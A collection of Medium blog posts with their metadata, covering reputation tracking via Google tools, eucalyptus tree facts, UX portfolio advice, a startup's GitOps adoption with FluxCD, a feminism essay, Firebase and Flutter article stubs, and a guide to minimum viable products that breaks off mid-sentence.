PRontheGO: How To Measure Reputation Through Google We asked our PR and SEO experts to explain how reputation can be measured through Google. How can search data be used to track public feeling, trust and reputation? Here’s the experts’ insight: Set Up Google Alerts. Paige Arnof-Fenn, Founder & CEO of Mavens & Moguls: “To measure your online reputation I recommend you set up a Google Alert for both your company’s name and your own name to notify you any time one of your press releases post, when your name is mentioned on another website, or whenever you are indexed by Google. As a business leader, you’ll want to monitor and track everything that reflects on your business and you personally as well. It is best to know what digital dirt exists on you so you do not get blindsided or surprised when people check you out online.” Alex Membrillo, CEO at Cardinal Digital Marketing Agency: “Using Google Search and setting “alerts” for your name and brand is a great way to monitor your overall web presence. In other words, what content exists about you or your company. Things that Google can help you measure are: · What content exists about your brand — both positive and negative · Reviews — Found on Google and other third-party sites. · Google “search suggestions” related to your name, company, and search terms. · News and top stories related to your company. I recommend setting up alerts, so you’ll be notified if new content is detected related to your company, including top executives. While you are at it, alerts can also be agreat way to keep tabs on the competition. If you spot negative or inaccurate information in the SearchResults, then you’ll want to manage your reputation and work to resolve issues. However, the first step is simply using Google to identify what’s out there about you.” Consult Google Search Console. Lisa Hopkins, Senior Marketing Consultant at Stacey E. Burke, P.C.: “Google Search Console provides a wealth of information about how searchers are finding your website, including the number of search impressions and clicks your website receives for specific queries. You can use this information to evaluate your company’s reputation. For example, if your website receives a high number of impressions for “best divorce lawyer,” you can be fairly confident your brand has a strong digital reputation. If the click through rate (or the ratio of the number of times someone clicks on your result in organic search results as a percentage of the total impressions your result receives) is high, it indicates users find your content interesting, informative, and valuable.” Explore Backlinks & Mentions Through Ahrefs. Antonio Wells, CEO at NAMYNOT Inc.: “This is a great subject, and honestly, without the help of third party tools it can be very difficult to gauge a website’s reputation. My firm uses AHREFs to help gauge authority. They have a few features to help aggregate massive search data and help you to put into content. For example, when I look up pronthego.com, AHREFs shows the site has a “Domain Rating” of 25 out of 100. This is a good start. We further investigate the authoritativeness of the site by exploring its Backlinks. Backlinks are one of the top 3 signals Google factors into search algorithms. It’s how they measure E.A.T. (Expertise, Authority, and Trust..) We look for mentions from other highly authoritative sites and how they’re mentioned.” Analyze Keyword Search Data. Harriet Chan, Co-Founder and Marketing Director of CocoFinder: “Search data can help you discover how people think and feel about your brand or your organization. Looking at keyword search data, refers to analyzing conversations, trendy popular words, and phrases people enter into search engines. Search engines now enjoy as much credibility as traditional media in terms of the information found and how trustworthy it is, which means using Google to look up your company is a very effective way of measuring your current online reputation. Search data analysis is the process of using social engine data to gather consumer insights into thoughts around your brand.” Measure Returning Visitors. Dorota Lysienia, Community Manager at LiveCareer: “During the pandemic, people have become more demanding digital users that want websites to run smoothly. Thus, the online experience is now an even more meaningful indicator of your reputation. Returning visitors metric is an excellent source of search data that can support you in measuring your reputation. This metric shows how effective your website is at building and retaining an online audience. You can track how often people visit your website and see traffic patterns over time. It’s also a good idea to look at the average time on site and month-to-month comparison to analyze your audience’s behavior during a specific period.” Use Google Trends. Garit Boothe, Founder of Garit Boothe Digital: “Here’s my tip for tracking your company’s reputation on Google. Type the name of your company into Google Trends. If your company name appears as a “company” instead of a “search term” in the autosuggest bar, click on that. Google Trends will show you the growth of your branded queries and interest over time. It also shows you where there is interest in your company geographically, and what related topics and trends correlate to your company.” Measure Brand Sentiment. Tory Gray, Principal SEO Consultant of The Gray Dot Company: “We measure brand reputation on Google primarily through 2 lenses: • Brand awareness (volume) and • Brand sentiment (good/bad) In terms of brand awareness, we like Google Trends for broad data and Google Search Console for brand specific data. Google Trends will show you shifts in total growth or declines in trending search volume inquiries. You can use GSC to see specifically which queries are in association with your brand name, and use that data to do your own manual research around what and who shows up in those queries. For example, chances are people are looking for “{brand name} reviews” and you want to have a good idea of what page 1 and page 2 results look like for that query. Learn more about the impact of positive vs. negative reviews here. That leads us to brand sentiment, where you’ll want a good tool to help you measure that at scale. Check out this article by Search Engine Journal.” Thank you! ………….. PRontheGO.com — The Creative Entrepreneur’s source for PR hacks. …………..

https://medium.pronthego.com/pronthego-how-to-measure-reputation-through-google-f788abf31ede

[]

2021-07-06 17:43:05.472000+00:00

['Startup Marketing', 'Public Relations', 'Entrepreneurship', 'Reputation Management', 'Pr']

9 things you probably didn’t know about eucalyptus trees

Eucalyptus trees originate from the land down under, where koalas and kangaroos are home. It has long been introduced to other countries and is famous for its oily leaves and the ability to grow fast. However, it has more secrets worth unleashing. Here are 9 facts about the eucalyptus tree you probably haven’t heard before. 1. Etymology The name eucalyptus derives from the Greek words eu- (well) and kaluptos (cover) meaning well-covered. This statement refers to the operculum on the calyx that initially conceals the flower, the most recognizable characteristics of the eucalyptus species. Because the flowers are in the operculum composed of the fused petals, they have no petals. Instead, they decorate themselves with numerous fluffy stamens. These can be white, cream, yellow, red, or pink. As the stamens expand, the operculum is forced off, splitting away from the cup-like base of the flower. If you’re interested to learn more about these flowers, click on this link. 2. Ouch! Eucalyptus trees are also known as “gum trees” because of the sticky rubbery substance that flows from the injured bark. The gum that flows out of the breaks in the bark can be compared to blood. So not chewy at all. The fruit of these trees is thus called gum nut. 3. A plant? A fruit? A flower? Gum nuts are the woody fruits of eucalyptus trees. Though they come in a variety of shapes and sizes, most of them are usually shaped like a sealed cup, a cone, or a capsule. The gum nuts are a compound structure of supporting tissue, the hypanthium, and the ovary. So they are non-edible. Moreover, the valves at the end of the fruit open to release the waxy, yellow-brown seeds. 4. All the beautiful colors of the rainbow Though there are more than 700 species of eucalyptus, one type has certainly received great attention; the Eucalyptus deglupta, commonly known as the rainbow eucalyptus. This tall beauty is native to Indonesia, Papua New Guinea, and the Philippines, where it can grow over 80 meters tall. Outside its habitat, it can grow up to 38 meters tall. The most distinctive feature of the Eucalyptus deglupta is its multi-hued bark. The rainbow eucalyptus sheds its bark several times per year and reveals a bright green inner bark. This then darkens and matures to give blue, purple, orange and then maroon tones. Absolutely beautiful! 5. Snake alert Unlike the rainbow eucalyptus, the other types of eucalyptus trees shed their bark only once per year. With the manner of the bark shed, the age of the plant, the length of the bark fibers, and its thickness, hardness, and color, the appearance of the eucalyptus bark varies. All mature eucalypts put on an annual layer of bark. Naturally, this contributes to the increasing diameter of the stem. 6. A true masterpiece Eucalyptus haemastoma, the scribbly gum, is an Australian small to medium-sized eucalypt that is named after the “scribbles” on its bark. The scribbles, which resemble zigzag tracks, are tunnels made by the Ogmograptis scribula, larvae of the scribbly gum moth. This work of art follows the insect’s life cycle. Meaning that after the eggs are laid and the larvae start to move, the tracks are made. The tracks end where the larvae stop to pupate. The scribbles are made between layers of old and new bark. The larvae burrow into the new bark and as the old bark falls away, the trails are revealed, releasing gum. 7. Caution — Authorized personnel only Eucalyptus leaves are very fibrous and low in nutrition. To most animals, they are extremely poisonous. Even a large amount of oil can be toxic. The toxins are thought to be produced by the trees as a protection against animals who eat the leaves, like insects. The only mammals which can survive on a diet of eucalyptus leaves are koalas, greater glider, and ringtail possums. 8. A unique smell Eucalyptus trees are most popular for their oil. The eucalyptus oil is made from the tree’s oval-shaped leaves. They are dried, crushed, and distilled to release the essential oil. Significant producers of true eucalyptus oil include South Africa, Portugal, Spain, Brazil, Australia, Chile, and Swaziland. The oil is categorized into three broad types in the trade according to the main end-use: industrial, medicinal, and perfumery. The most important component is the cineole-based oil, a colorless mobile liquid with a penetrating, strong, woody-sweet scent. However, this liquid turns yellow with age. 9. Let’s dig in! Besides the infamous oil, eucalyptus trees can produce honey. The high-quality monofloral honey — named so because it comes from plants — is extracted by the nectar of the tree. A well-known eucalyptus honey species is the Blue gum which grows in Tasmania and South Australia. Its honey is yellow in color and dense in texture. This variety is popularly used as a breakfast or ice-cream drizzle — delicious! Some interesting facts; makes you look at eucalyptus trees in a different way. If you think you know enough, take this quiz to test yourself.

https://medium.com/treecoin/9-things-you-probably-didnt-know-about-eucalyptus-trees-d59935ee5cc

[]

2020-01-30 14:52:48.952000+00:00

['Animal', 'Plants', 'Eucalyptus', 'Nature', 'Trees']

Essential Steps to Building and Refining an Effective UX Portfolio

To help you take advantage of this time, inspire you, and boost your skills, we talked to some leading designers and portfolio experts. Their insights and practical advice will help you create a strong, memorable portfolio that stands out and puts you on the path to a successful interview. Know why you’re making a portfolio “The first step is knowing why you’re building a portfolio,” points out Juhie Tamboli, senior product manager for Adobe Portfolio, currently free on a 60 day trial (which you can activate any time before the end of the year). “Is it to land a freelance gig? Or perhaps you’re looking to switch careers? If you answer this well, the rest will come more easily.” Then present your best work with the why in mind, Tamboli recommends. “You don’t need to showcase everything in your portfolio, but focus on your best work to help you land the opportunity you have in mind. Amplify what’s uniquely you, and share it throughout your portfolio whether that’s in a stellar About Me statement or in the body of your work that you’ve selected.” Finally, Tamboli advises not to forget to share the process. “A part of what makes your portfolio unique to you is the process behind the work, not just the final piece.” The digital product design portfolio by Tamara Oniani, a recent graduate of the University of Utah’s Multidisciplinary Design program. Start simple and don’t try to perfect it Multidisciplinary designer and creative director Tobias Van Schneider acknowledges that it’s very easy to procrastinate on your portfolio — especially when you’re feeling the pressure of a job search. Tobias says we do so for the same reason we put off anything else: because we’re overcomplicating it. “Start simple,” he advises. “Choose two projects — yes, only two — that represent the type of work you want to do more of in the future. Think of those projects in phases — phase 1 being the ideation phase, phase 2 concepting, etc — and write a few sentences about each phase, accompanied by an image. Done.” With your projects out of the way, Van Schneider says you then just need to design your homepage, create an About page, and launch your portfolio. “As you do so, remember your portfolio doesn’t need to be your creative masterpiece,” he points out. “Just focus on putting the work you’ve already done in the best light.” Jessica Ivins, a UX designer and faculty member at UX design school Center Centre agrees and in her article, How to Get Great Feedback on Your UX Portfolio, she writes, “Even if you’re a senior designer, it’s tempting to make your portfolio perfect because it’s about your work. But flawless designs don’t exist in any project. There’s a saying when it comes to software: ‘Perfection never ships.’” Tobias Van Schneider says that Mary Catherine Pflug pulls no punches with her portfolio intro. It’s simple and straightforward, which is all it needs to be. Use your research and design skills Ian Fenn, author of Designing a UX Portfolio, has found that people often feel real terror towards the act of creating their UX portfolio. A practical solution can help: exploit your research and design skills. “Research the needs of your intended audience,” Fenn suggests. “Then design the content that represents you and that will resonate with them. Once you consider your portfolio just another product, the process ought to become much easier.” Ivins favors the same approach and points out that by treating your portfolio like a high-priority design project you’ll give it the care and attention it needs. Make your portfolio represent your personality Designer, developer, and artist Lynn Fisher refreshes her portfolio every year (see our interview, her archive, and her case study of the 2019 redesign). She says your portfolio is one of the few spaces that are completely yours and recommends making it represent the ways you’re uniquely you. “If you’re a bit weird, make it weird,” she encourages. “We apply for pre-defined positions, but each of us will fill those roles differently based on our own experience and perspective. The more your portfolio can convey your distinct strengths, the more memorable it will be.” Fisher also suggests writing about your experience, perspective, and challenges you’ve had to solve, if you don’t have a lot of work to show. “As you rework your portfolio, document your process and decision-making to compile it into a case study. If you have side or just-for-fun projects, write about those, too. The way you talk about your work can often be more compelling than a set of screenshots and gives teams a look into how you might approach projects with them.” Van Schneider also recommends keeping the copy simple and straightforward (“clever usually translates to confusing when it comes to a portfolio”), making your case studies scannable (“nobody’s going to read longer than two minutes”), and thinking of each case study as a magazine feature (“you wouldn’t design every story in a magazine the same way, you’d customize each to tell that unique story in the best possible way”). Resizing the browser window will cause the illustrations on Lynn Fisher’s 2019 portfolio redesign to crack open revealing more within them. Find a mentor to give you feedback If you need feedback on your portfolio, Fenn cautions to not just post it online and ask for feedback. “You’ll get conflicting answers that will only serve to confuse you,” he explains. “Instead, find somebody you trust and ask for feedback in the style of a product critique. Explain to this mentor who the portfolio is for and what you were hoping to communicate. Then ask them how you can make it better.” “Seek feedback early,” Ivins adds. “Process it, make changes, and get more feedback. Repeat this iterative process as much as possible throughout your portfolio project.” Iterate and optimize your portfolio All the designers we talked to agreed that iteration is crucial for the success of your portfolio. UX designer Sarah Doody, founder of The UX Portfolio Formula, points out that your UX portfolio is never ‘done’. It’s a work in progress, and just like a product, you keep evaluating and iterating it. “Even if you’re not actively looking for a role,” Doody says. “Being proactive and ensuring your portfolio is up to date will ensure that you don’t rush to finish it if an amazing opportunity came your way.” Doody also warns that rushing to get your UX portfolio ready will increase the chances you make mistakes — such as not considering the three users of your UX portfolio, or failing to write effective case studies that truly convey the process instead of just showing final deliverables. Like Ian, Sarah stresses that when you work on your UX portfolio, you’re also honing your UX skills because you must consider the UX of your UX portfolio. “The beauty of a portfolio is that you can continue iterating and optimizing as you go,” Van Schneider adds. “Once the foundation is there, it becomes easy to make it better and better. And every time you update your website, it’s another opportunity to promote yourself. The first step to a successful portfolio is simply launching it.” Don’t just read articles about portfolios There are a lot of articles (like this one!) crammed with tips on how you should improve your portfolio. However, Fenn warns that some of the advice is heavily biased (not like this one!) and suggests exercising caution. “Be sceptical of much of what you read online about UX portfolios,” he says. “Many articles are solution-heavy, reflecting a single person’s opinion of what they think will work. They can’t tell you what will work for the hiring manager you are trying to attract. Even if they are hiring managers themselves, what someone says they need can be very different from what they actually need. Conducting your own research is key.” Take some of the advice you hear with a pinch of salt, and ensure you get the essentials right. Ask yourself why you are creating a portfolio, keep it simple and focus on your best work, make sure what’s uniquely you shines through and document the process behind the work. Make use of your research and design skills and treat your portfolio like a product, find mentors to provide feedback, and then keep evaluating and iterating. Good luck! Adobe Portfolio is currently free for 60 days to support our creative community in these times of uncertainty.

https://medium.com/thinking-design/essential-steps-to-building-and-refining-an-effective-ux-portfolio-9e75695421d6

['Oliver Lindberg']

2020-07-29 13:42:26.321000+00:00

['Creative Career', 'UX Design', 'Portfolio', 'UX', 'Design']

Questions along the path to Continuous Deployment

Questions along the path to Continuous Deployment An honest account of a startup’s experience with GitOps. by Tom Burton A step in the right direction The what What started as Infrastructure as Code (I.a.C) has now morphed into something even greater. I.a.C gave us a simple way of maintaining a single source of truth for our infrastructure in Git. Combine this with leveraging Git to perform deployments and you get GitOps. A way of using Git as the arbiter of our releases. The term “GitOps” was first coined by Weaveworks. Since then, they have gone on to release one of the more popular tools in the trade, FluxCD. I will come back to this particular software later on. The why Towards the end of 2019, we weren’t anywhere close to implementing a robust CI/CD process. It was paramount that we achieve this as soon as possible. The bigger you get, the harder it is to put in place. At the time we had a GitOps-esq system in place; patch deployments in GitLab CI. While functional in their execution, they didn’t feel like a future proof solution. As many DevOps in an early stage startup will understand: the initial infrastructure setup can feel like the Wild Wild West. Some of the other issues we faced included: Engineers/DevOps releasing infrastructure changes from their computers. Engineers/DevOps not committing changes to Git. No official documented processes for making changes. State of the cluster inconsistent with what was in Git. This list goes on. It was evident that there was an issue about how we managed infrastructure state. So, on a cold rainy November evening, we decided to begin our journey with GitOps. Along the way, we hit many hurdles and asked many questions. The intention of this article is to provide answers to those questions based on our experience. Question 1, November 2019 — What is GitOps and how can it help us? GitOps is a process defined as leveraging Git’s core functionality to deploy application and infrastructure code. The first step on this journey was to gather as much information as possible on the topic. This included case studies, white papers and source code of example projects. Some of the more useful material I was able to find I listed here: It is important to establish at this stage, how GitOps will improve what you already have. As we were to find out later on, doing so can save you a lot of time. Take for example our patch deployments: to release a new image on the the cluster, we would create a GitLab CI job to kubectl patch the deployment. With GitOps, we knew it was possible to have that state stored and managed. Thus the state of the cluster would be reflected by the state in Git. Problem solved. Set out your requirements. Marry them up to the offerings of GitOps and only then proceed. Question 2, December 2019 — What tooling is available to us? This is always by far the most interesting part of beginning a new journey; the hunt for the right tooling. The options described here are the ones we considered. They are either backed by active communities or great teams, giving you peace of mind. Proprietary CodeFresh & Harness These tools only get a short mention here. Both connect to your Git repos and can apply changes to your cluster. Not only that, they have CI/testing capabilities as well. At present, we use GitLab CI to run our build/test jobs. We felt there was no need to buy a subscription to a package and only use half of it. Both have very clean user experiences and dedicated support teams to help you on the way. Check them out if you would like more of a managed solution. Open Source ArgoCD ArgoCD, built by the team at Intuit, is a fantastic tool. It comes with its own UI for managing your cluster, which you can extend to use any kind of SSO for your organisation. Argo runs a collection of pods that manage everything from caching to authentication. You can configure it to look at an unlimited number of repositories, branches, and clusters. It comes with built-in support for most major templating tools (Helm, Kustomize, JSonnet, KSonnet etc.). Also, you can create your own customised templating tool. This could be a hybrid of Helm and Kustomize for example. At the time of testing this, it seemed like it would be the perfect option. Unfortunately, we ran into several bugs (that they have since fixed) which made us look elsewhere. Looking back, this was a missed opportunity. FluxCD Built by the team at Weaveworks, FluxCD is a much simpler tool in its functionality. It runs as a single pod (with a memcache storage) and will apply any Kubernetes manifests you choose to point it at. It also allows you to customise the templating before running kubectl apply . A key difference between Flux and Argo is the ability of Flux to commit changes back to the repo. This means that the state of your cluster repo is always in sync with the state of the cluster. To get the latest image, FluxCD needs only access to your registry, be it GitLab or ECS. Flux stores these images in Memcache for quick rollbacks if necessary. From there it can update the image on cluster. Upon finding out that Flux not only deploys the code but can manage it as well, it was the clear winner for us. It solved all the problems outlined above. It seemed simple enough to put in place and of course, it’s free. Question 3, December 2019 — How does this tooling fit into my current setup? Kustomize Last year, we introduced Kustomize as our primary templating tool. I won’t go into detail about how Kustomize works, as you can read all about it here. We realised that we had been using an outdated approach with Kustomize. The team there had rethought the best way to organise the directories. The good news was that this provided the perfect platform to try out Flux. We could have one Flux instance per environment that would manage the deployment and infrastructure changes. The bad news was that we had to refactor more or less the entire repo. Having finished the refactoring we sat back to take a look at our handiwork. What we had was nothing short of directory hell. The duplication of folders was a nightmare. It is my opinion that Kustomize does not provide a scalable solution to microservice architecture. But that is for another post. It was clear that we had tried to fit a square peg in a round hole. At this point we should have reconsidered whether this was the right approach. Any startup DevOps engineer reading this, I implore you to re-evaluate if you get to this stage. Question 4, January 2020 — How can I create a viable Proof-of-Concept? To give some context I will give a brief description of the deployment strategy at Alteos. When a developer starts a new feature, they will create a branch and push it to GitLab. We run a collection of pipelines that create a new namespace in our staging cluster. Then we deploy an exact replica of our stage environment there, a.k.a a preview environment. All we change is the variables for ingress rules, databases etc. and away they go. Upon merging to develop we build and deploy the changes to our stage environment. After testing, we release to our sandbox environment. We complete a final round of testing before finally promoting all the way to production . We came up with a plan for tackling preview environments and stage . Instead of running complex bash scripts to build and apply the manifests, we would simply deploy Flux to a new namespace. Flux would fire up and deploy all the application infrastructure for us. It felt like a beautiful reduction in complexity. Our stage environment was even easier. Deploy Flux, point it at the relevant directories and let it manage all deployment releases. This was going to be our PoC. Big mistake. We had not considered what sandbox / production releases might look like in enough detail. As I will explain shortly, it is vital you don’t rush. The eagerness to adopt GitOps tooling can easily lead to poor planning and execution. Question 5, March 2020 — Has the Proof-of-Concept been a success and is GitOps the best approach for us? By the end of March we had FluxCD running in both our preview and stage environments. The road there was both challenging and interesting. However, implementing Flux for preview environments deserves its own blog post. By all metrics the PoC had been a success: Preview environments Flux was working exactly as we had planned. Our pipelines had been simplified. Developers were happy with their functionality. Stage environment Upon merging changes from a preview branch to develop, our old build jobs would containerise and push the latest image to the registry. Flux would pick up the latest image, update the repository and then apply the changes to the cluster. Any infrastructure changes were also applied at the same time. Perfection. The next logical step was to push Flux all the way to production. This is when the penny dropped. As many startups know, implementing microservice architecture comes with a multitude of challenges. One being, how does one create completely autonomous independent applications? The all too common compromise is to end up with a hybrid monolithic/microservice system. This means we have to release all applications at the same time. Our first attempt to answer this yielded a rather convoluted solution. We would have one branch per environment; preview -> stage -> sandbox -> prod . Promoting changes to each environment would be a case of merging one branch to another. One reason we disregarded this was the lack of control we had if something failed. If one microservice, that underpinned the functionality of another, failed to build, Flux wouldn’t wait for it. It would apply the changes and the system would likely crash. Then, what if we wanted to release a hotfix? We would have to branch off prod and then merge to stage and sandbox branches. The complexity and margin for error kept increasing. GitOps was becoming a massive headache rather than a silver bullet… [continues in Part 2 — follow ALTEOS Tech and be part of the story!]

https://medium.com/alteos-tech-blog/questions-along-the-path-to-continuous-deployment-b8f1921fd200

['Alteos Tech']

2020-07-27 08:00:27.861000+00:00

['Insurtech', 'Development', 'Continuous Delivery', 'Insurance', 'Technology']

Reimagining Feminism. When was your first realisation of…

Somalia Women protesting the imprisonment of Angela Davis (Mogadishu, Somalia. 1972). When was your first realisation of gender inequity? The feminist movement has been the main driver in unlearning my internalised misogyny. Now, I believe my biological difference is not a tool to deny me a life I love. Nonetheless, many women feel that the movement does not reflect them. I hear the concerns, but minor misconceptions should not invalidate the potential of the liberatory movement. I hope to illustrate all the previous liberatory efforts were to eliminate suffering and pleading for our place in this world. ‘Has identification been meaningful enough to inspire revolt?’ — Lola Olufemi (Feminism, interrupted) Historically women have been an afterthought in creating policies that directly influenced their status in society. The feminist ideology intends to work towards an improvement of material conditions for all women. It is in opposition to how the world continuously decides who is deserving of equality based on merit and contribution. Why are external factors a prerequisite to granting rights? The ideal would be to ensure all women live a quality life, with no deductions. At the forefront of the liberatory movement were groups of people who had set aims and agitated till their appeals were acknowledged. They opposed the status quo, and some may view their practices as radical. Radicals were not appeasing the people who uphold the system and seeking their permission to eliminate oppression and forcefully attained what is rightfully ours. Meanwhile, I had many questions. Why are we still defining feminism? What should we have accomplished by now? Why are we still platforming women to lead the movement solely to make it more palatable and marketable? Why have words with radical meanings been used as taglines for marketing purposes — presenting them as feel-good sentiments alone — hence forgetting real people would benefit from real change beyond marketing ploys. Inclusion is not an afterthought Mainstream feminism, also known as Girl Boss feminism, has caused people to not align with it. It is not inclusive and automatically limits the number of people engaged in its politics. Girl Boss feminism has deterred the chances of unifying women. For instance, the people are not okay with a demographic of women accepting lofty positions when other women are still battling for adequate working conditions in the same city. The excitement over a woman owning capital does not liberate the masses but is satisfaction with representation, which should not be an aspiration within a liberatory movement. If it involves exploiting, then it is a win for the select few and leaves many women in the same predicament. Hence, why wait for women of the bourgeois class to free us. We need to revert to believing in the power the people have. I mean to trust, in due time, our communities have the potential to have all we demand. Why do we have to gain support from a percentage that has manufactured the conditions we live within? I find this laughable and a slap in the face. Likewise, I feel we are not ambitious enough. I would rather have the dreams of liberation be fully encompassing and seem unattainable than settle for sprinkles of reform. The reforms we have are in motion to maintain peace in communities without eliminating harmful social structures. Reforms create a false sense of progression, which I believe has caused people to ask about the necessity of liberation movements. A simple example is to look at gender dynamics as it displays how relegated women still are in society. It is essential to look beyond our intimate interactions and look at societal constructs. For instance, the working-class continue to struggle to gain access to quality reproductive healthcare because of their lack of funds. The movement will demand equal healthcare resources for all women. We will make it possible for all women to be autonomous over their health plans and their bodies. Plus, it is past time we stop reproducing the conditions that lead people to risk their lives when it could be made accessible to them. Next, low-cost childcare services for women to diminish barriers to progression in the workplace. As well, we can examine how to eliminate limiting practices that stifle women. Still, the issues mentioned here are not the entirety. I want us to commit to tackling issues about women of all classes. Instead of campaigning for one problem per season, before the momentum dies down, then there would be a non-prioritisation of issues so many are worked on simultaneously. These types of small scale changes will directly impact lives and eventually create a wide-scale shift. Yet, we should aim to work towards eradication as I wish for long-term transformations. The question of the accessibility of theory What has led to the assumption that theory was written solely by white men? Audre Lorde, Angela Davis, Stella Dadzie, and James Baldwin — to name drop a few of the great — have provided readable texts on liberation. Instead of spending time contemplating what could work — or not — through your thoughts alone, seek insight from those before you. And, I believe this will prevent us from being satisfied with the small-scale liberties afforded to us. I believe being caught up in the discourse of the inaccessibility of theory will not make you understand it any better (I read many texts with a dictionary open on the PC monitor). The issue with trying to ensure theory is accessible is that the message can get watered down. I understand the concerns of alienating communities due to academic jargon. However, this condones the lack of urgency to study radical texts. Honestly, dedication and time on a matter that is of priority — if an effective change is to happen — is required from the collective. Huey P. Newton did not complete high school and had low literacy levels, but dedicated time to studying the histories of the revolutionaries before him as a tool to organise the people. He exemplifies that it would be considerably hard to revolutionize without an organised approach, so you have to study what tactics have been ineffective to adjust for long-term change. And, we will not be able to push for the change we require solely on passion. The aim is to tear down complex layers of oppressive structures that have stifled the people. These structures are perfectly placed in our lives to maintain the chaos, and any commitments we make to potentially dismantle the systems we despise demands a level of critical thinking. We must prioritize to make sure all women are eventually free. Many women are struggling to feed their children, afford to house, and feel a sense of security in their neighbourhoods — resulting in many women dying from preventable circumstances. Lastly, not all women desire equivalent freedoms. Therefore, making it essential to remain heavily informed on the shared and different struggles faced by people. *Everything I mention is to my current understanding from reading literature and may be subject to change.

https://medium.com/@byiks/imagining-a-feminism-where-inclusion-is-not-an-afterthought-cbd8b72508f

[]

2021-03-18 11:41:11.491000+00:00

['Womanism', 'Feminism', 'Women Of Color', 'Liberation', 'Lessons Learned']

Update Queries without changing RecyclerView Adapter using FirebaseUI — Android 🔥

FirebaseUI In this article, you will learn how to change Firebase Realtime Database/Cloud Firestore queries without changing the whole adapter of a RecyclerView in Android by using the FirebaseUI-Android library. Let’s say you need to populate a list using RecyclerView to show data loaded from Firebase Realtime Database or Cloud Firestore and you have implemented a custom RecyclerView.Adapter to hold data or you used FirebaseUI-Android which is an official open-source library developed by the Firebase team. In this article, we’re going to use the FirebaseUI-Android library. We’ll load data from Firebase Realtime Database/Cloud Firestore and populate a RecyclerView (Simple + Paginated) using the adapter. After that, we’ll change/filter the query based on some user interaction at runtime without changing whole adapter. In the end, you will see app like this 👇. After clicking on one of the buttons, data in RecyclerView will be replaced by new data.

https://medium.com/firebase-developers/update-queries-without-changing-recyclerview-adapter-using-firebaseui-android-32098b3082b2

['Shreyas Patil']

2020-03-13 14:56:59.620000+00:00

['Android', 'Cloud Firestore', 'Firebase', 'Recyclerview', 'Kotlin']

Meduim Articles on Flutter

Landing page for past articles All ‘MVC’ articles are free to read. The rest are ‘metered’ articles — your first three reads every month are free. Further readings for such articles, require membership to medium.com. MVC Flutter Framework on YouTube Comparing MVC to Other Design Patterns

https://medium.com/p/9de112c2d85c

['Greg Perry']

2020-12-22 17:18:14.401000+00:00

['Android App Development', 'Flutter App Development', 'Software Development', 'iOS App Development', 'Programming Languages']

Core Features of a successful MVP (Minimum Viable Product)

Core Features of a successful MVP (Minimum Viable Product) MVP will save your new business MVP, Minimum Viable Product, is a term derived from the startup industry which expresses the state of a software between the prototype and a good-enough product for public consumption. The MVP is the first version of your product that your audience will be exposed and the challenge is to give them enough features to resolve their problems without taking care of side functionalities that are not essentials for users to determine if your product is useful or not. The MVP is the first real contact with your customers and it’s an opportunity for your business to connect with early adopters and convince them about your product even it’s not finished yet. The MVP is the first handshake between you and your customers Scoping Your MVP We can find the definition inside the MVP acronym itself with the words “minimum” and “viable”. What’s a minimal product? A simple product that is only able to contain the core functionalities without any fancy additions. What’s a viable product? It’s the essence of the solution to your audience’s problem, a tool that does exactly what it promises to do, and nothing more. These two concepts, “minimal” and “viable”, are limiting the scope of your product, from different directions. You can always make your product more viable, but you can’t make it any more minimal without losing your customer. Even if it’s important to deliver only the core features, a minimum viable product should contain a few structural components that represent a standard for other products on the market: your users should be able to sign up and log in, solve their problem, and be able to pay for your product. Targeting the audience is very important to understand which aspects of your product need more attention than others. If you build a tool for developers, an API and some documentation might be enough. For customers who need a bit more than that, you will have to provide a well-designed interface. Regardless of which type of product you’re working on, it’s important that your MVP has an easy and well-designed interface and solves one core problem. Every part of your product should lead your customers to the core functionality and if you find yourself having trouble with interface and user journey, it means that your MVP has too many non-critical functionalities. So, that’s the scope of an MVP: solve one critical problem really well. We don’t need anything else. If there is nothing to distract your customers from seeing the value of the product, you have succeeded. Let’s see different aspects that you should care if you want to create a successful MVP, an MVP is not only a prototype, this approach includes many different aspects that make these products very important to avoid waste of money and time. Timing your MVP Once we understand what an MVP represents and what it should contain, it’s very important to define how much time you have to invest on it. Building features required time and it’s common to wrongly focus on the big picture and having the feeling that the result is never enough. One thing to take in mind to change this perspective is that your customers want to have one less problem in their lives. The key is to ship the MVP as soon as humanly possible and let customers interact with your product as soon as possible, then you can find out what works and what doesn’t. Ship early, and release to early adopters. If you can get them not just to use your MVP but actually commit to it by paying you a non-trivial amount of money, you will have a real shot at building a sustainable business. Free but not forever Let early adopters using your product for free is the key point of an MVP and it’s a good start to know if your customers like what you propose and the usage frequency. Those parameters give you a clear perspective about the future of your project but it’s not enough to understand if building a business around it could a good idea or not. In the previous chapter I told you that an MVP only contains the core feature and nothing else and it’s true but we need other types of feedback if we want to discover different aspects that are not directly related to the core feature you offer. If you want to measure customer commitment, add a rudimentary payment system from the beginning. Give liberal amounts of free trial time, but set an end to it, don’t let customers using your product for free forever, and find out if your first customers only stay with the product because it’s free or they are willing to pay because your offer is too good. Requirement Volatility Beware of reacting immediately to early customer feedback. Your MVP is particularly prone to the core problem of software engineering: requirement volatility. Your prospective customers will expect different things from their tools over time. Worse yet, they might not know what they need, or they might have internalized their work too much to adequately express what their requirements are. Some customers will tell you what they think you need to hear instead of just telling you what they know. One Platform at a Time Don’t try and build the very first version of your product for all possible platforms it might be used on and for. Find the audience of your product and identify the platform where they are for the most, you don’t need the same solution over different devices and context. Security You should care about the security and privacy of your users since the development of the MVP. Don’t ask customers useless information you don’t strictly need and use a well known and secure system to manage users and their data Client-Side Monitoring I found one thing to be incredibly useful in the MVP and all later versions of our product: client-side monitoring. By getting notifications for errors immediately after they happened in the browser or apps of our customers, we could see the stack trace and additional information before your customer even noticed the error. Customer Service Talking about communications with customers: provide a way for the customer to reach you. Give them an easy way to contact you with a simple form, or with a real-time chat solution, just make sure they receive help when they need it. This not only relevant for delivering a good user experience, but they represent your feedbacks source that are vitals during the lifetime of an MVP. None of these features have to be part of your MVP from day one. They just should eventually become part of it in some form or another. You can do a lot of the work manually for a while, working with basic tools such as spreadsheets, email, and even phone calls. But eventually, you will want to funnel all the activities through your (soon-to-be-)automated systems. Don’t wash your dirty linen in public It is extremely helpful to build a product that solves your own problem. You will know when your MVP is minimally viable since it will solve your problem enough at some point. From there, it will be good enough for others as well. This practice is called “dogfooding,” named after a television ad from the 1970s, where the owner of a dog food brand claimed that he fed his dog food to his own dogs. In the IT world, this process has been made famous by Amazon, where Jeff Bezos forced all his development teams to build internal APIs that would eventually be made available to external developers too. That way, all external services would have gone through a long time of internal use, ironing out the bugs and making the interfaces usable. If It Fails, Don’t Throw It Away Like everything in the beginning stages of your bootstrapped business, the MVP is mostly a tool for validation. MVP is a 